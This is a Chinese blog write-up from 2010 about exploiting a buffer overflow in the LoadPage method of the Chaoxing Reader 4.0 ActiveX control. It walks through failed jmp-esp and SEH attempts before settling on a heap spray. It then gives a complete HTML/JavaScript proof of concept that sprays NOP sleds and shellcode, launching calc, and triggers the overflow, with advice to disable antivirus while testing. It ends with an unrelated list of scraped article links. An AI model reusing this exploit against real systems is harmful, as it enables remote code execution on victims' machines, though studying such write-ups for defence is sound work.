超星阅读器4.0漏洞利用过程:

1.由于是缓冲区溢出,最开始我想到的利用方式"jmp esp"

0---------------------256---------260-----------268--------------

|       填充NOP         |  jmp esp |   数据填充  |    shellcode

-----------------------------------------------------------------

将上述填充好的数据作为LoadPage的参数传进去,这次麻烦可大了,由于在超星阅读器中,会用WideCharToMultibyte将

上述传的参数进行一次转换,所以转换后的shellcode肯定变了,为了使WideCharToMultibyte之后的shellcode能够使用,

必须在给LoadPage传参的时候,对shellcode进行变形,包括“jmp esp”,在中文xp下,jmp esp的地址是0x7FFA1571,在

编码转化之后不可以在还原,会出问题,最后只好暴力搜索在kernel32.dll中找到一个合适地址的jmp esp,对这种方法,

我费了很多心思,编码转换总是出问题,最终搞定了,可是结果是我没想到的:

一切都ok了,程序的跳转流程也在预想之中,恰好到了执行我的shellcode的时候,bug来了,shellcode无法执行。

为什么呢? 因为shellcode存在栈中,而这个程序对栈中的数据只设了读写权限,没有可执行权限,也就是shellcode

是无法执行的,郁闷死我了……

2.好,既然不行,我在换一种方法:pop pop ret的方式覆盖windows异常地址

最后也是由于编码来回转换的问题,导致无法正确覆盖异常处理地址……

3.正在山重水复之际,柳哥(牛人)让我试试"堆喷射",果不其然,既简单又跳过了编码的来回转换,爽哉……

什么是堆喷射? 自我理解:就是在进程堆中申请大量的空间,然后按照一定的方式在其中组织我们的shellcode,只要程序溢出,其

EIP命中了我们申请的堆内存,shellcode就可以被触发,该方法具有很大的稳定性和通用性,方便实用。

普及几个知识:

1> javascript分配堆内存是从低地址往高地址开始的。

2> javascript的堆结构为:

0------------32-------------36----------------------------------end-2 -------------------end

|  堆块信息  |  字符串长度   |              字符串                |    两个NULL字节结尾  |

-------------------------------------------------------------------------------------------

即:最开始的32个字节表示堆块信息,正如windows的进程堆,前八个字节表示堆的管理结构,接下来的4个字节表示字符串的

长度,然后才是我们的字符串,最后是以2个NULL字节结尾,javascript能够操纵的也只是其中的字符串,最开始的36个

字节其是没办法访问的,毕竟javascript不能操纵内存,但我们却可以依据其进行部署内存,这也是堆喷射的核心。

poc如下: 该poc只针对windows xp sp3_cn版,请在测试的时候关闭杀软

<html>

<pre>

<object id="evil" classid="clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2">

</object>

<script>

var nop = unescape("%u9090%u9090");

var shell = unescape("%uc033%u6850%u6163%u636c%ub854%u93c7%u77bf%ud0ff%uc483%u6A0c%ub800%ucb12%u7c81%ud0ff"); //该shellcode就弹出一个计算机窗口,只针对xp sp3_CN

while(nop.length <= 0x100000/2)  //部署1M的nop区域

{

nop+=nop;

}

nop = nop.substring(0,0x100000/2-32/2-4/2-shell.length-2/2);

var arr = new Array();

for(var i=0; i<200; ++i)   //分配200M的堆内存进行部署shellcode

{

arr[i] = nop + shell;

}

var m_a = "A";

var m_b = "B";

while(m_a.length <= 255) m_a+="A";

while(m_b.length <= 30) m_b+="B";

var arg1 = m_a + unescape("%u000c%u000c%u000c%u000c") + m_b;

var arg2 = 1;

var arg3 = 1;

var arg4 = 1;

evil.LoadPage(arg1,arg2,arg3,arg4);

</script>

</pre>

</html>

Author: jmf

Time:   2010年12月17日23:51:32

超星阅读器ActiveX缓冲区溢出漏洞利用-LoadPage相关推荐

  1. 超星阅读器必须使用下载用户才能阅读的问题

    以前师兄在超星阅读器上下载了很多文献,结果师兄毕业了,那些文献我拷到自己的电脑上后也就阅读不了了 不用慌,http://bbs.kafan.cn/thread-87417-1-1.html 中讲到了使 ...

  2. 超星阅读器文件转为PDF文件

    写在开头:打印是核心要义. 通过打印将'超星阅读器.pdz'文件转为'.oxps'文件: 再通过打印将'.oxps'文件转为'.pdf'文件: 步骤: 1.在超星阅读器中打开书籍文件后,右键选择打印, ...

  3. 安装squid_CVE-2019-12527:Squid缓冲区溢出漏洞利用分析

    报告编号:B6-2019-110702 报告来源:360-CERT 报告作者:360-CERT 更新日期:2019-11-07 0x00 背景描述 2019年8月22日,趋势科技研究团队发布了编号为C ...

  4. 缓冲区溢出漏洞利用--调用白板Messagebox函数两次

    //******有漏洞的程序************* //漏洞函数VerifyPassword 由于文件大小是可变的 但是szBuffer大小只有50 当文件大小大于50的 //时候就会产生缓冲区溢 ...

  5. 把超星阅览器的文件转换为PDF文件

    如果你是超星的用户的话,这篇文章对你也许有用:     大家都知道,从超星上面下载的书籍只能相应的用户使用,其他用户打开该书籍时还需要用户名和密码,这让很多用户有点不便.其实,可以把超星的内容转换为p ...

  6. 缓冲区溢出漏洞攻击——Shellcode编写

    一.实验内容 利用一个程序漏洞,编写shellcode,达成效果:蹦出对话框,显示"You have been hacked!(by JWM)" 二.实验原理 因为输入了过长的字符 ...

  7. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  8. 缓冲区溢出漏洞_缓冲区溢出漏洞简介

    缓冲区溢出漏洞 重点 (Top highlight) 缓冲 (Buffer) A buffer is a temporary storage, usually present in the physi ...

  9. CVE-2021-2429:MySQL InnoDB Memcached 插件中的堆缓冲区溢出漏洞详解

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 2021年4月,ZDI 收到了一名匿名者提供的关于MySQL 数据库中某漏洞的报告,结果是位于 InnoDB memcached 插件中的基于堆 ...

最新文章

  1. JavaDoc注释的使用
  2. JavaWeb开发环境配置
  3. java阅读题_java 练习题带答案
  4. Hadoop入门(二十)Mapreduce的最小值程序
  5. 一文带你看懂物联网开源操作系统
  6. New Monday
  7. SQL Server数据库中批量导入数据
  8. 2 创建型模式之 - 工厂模式
  9. 网页导出Word几种方法简介
  10. 《第一本无人驾驶技术书》
  11. 光谱分析软件_[Howtodowx]OMNIC红外光谱分析软件
  12. 魔兽世界3D版启动方法 教你做红蓝3D眼镜
  13. 坚持技术长征,阿里云要定义下一代的云
  14. 分分钟安装VMware,并安装linux操作系统
  15. java 花卉管理系统_基于jsp的花卉交易-JavaEE实现花卉交易 - java项目源码
  16. 树模型之三种常见的决策树:CART,…
  17. 布局阴影shadow的制作
  18. tf.constant(常量)
  19. 二皮脸data_2022年网络我的网络爬虫学习心得
  20. svn使用(服务器端和客户端)

热门文章

  1. 手机日常使用技巧、和手机停机如何免费上网
  2. 2018最新引流脚本话术设置,引流话术大全集合
  3. Echarts-- 圆环图2.0
  4. 【营销】史上最全4P、4C、4S、4R、4V、4I营销理论
  5. 著名的自由女神像坐落在美国哪个城市?
  6. 小程序 - 折线图画法
  7. IE兼容rotate旋转效果
  8. 液体精密过滤器 不锈钢316L精密过滤器
  9. Camera2倒计时拍摄和闪光灯
  10. 微信公众账号请求token次数达到上限(reach max api daily quota limit rid: 616fc6cc-1ddc78a8-3ea0a470)